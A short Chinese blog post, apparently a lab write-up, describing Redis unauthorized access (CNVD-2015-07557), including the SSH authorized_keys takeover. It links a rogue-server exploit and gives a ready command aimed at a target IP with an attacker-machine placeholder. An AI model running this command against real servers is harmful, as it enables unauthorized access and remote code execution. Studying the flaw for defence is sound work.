redis 未授权访问 (CNVD-2015-07557)

描述:

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。

Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。

 

利用脚本:https://github.com/n0b0dyCN/redis-rogue-server.git

执行以下命令:python3 redis-rogue-server.py --rhost 123.58.224.8 --rport 36878 --lhost <攻击机ip>

image

 

posted @ 2026-04-16 21:22  Morphoko  阅读(47)  评论(0)    收藏  举报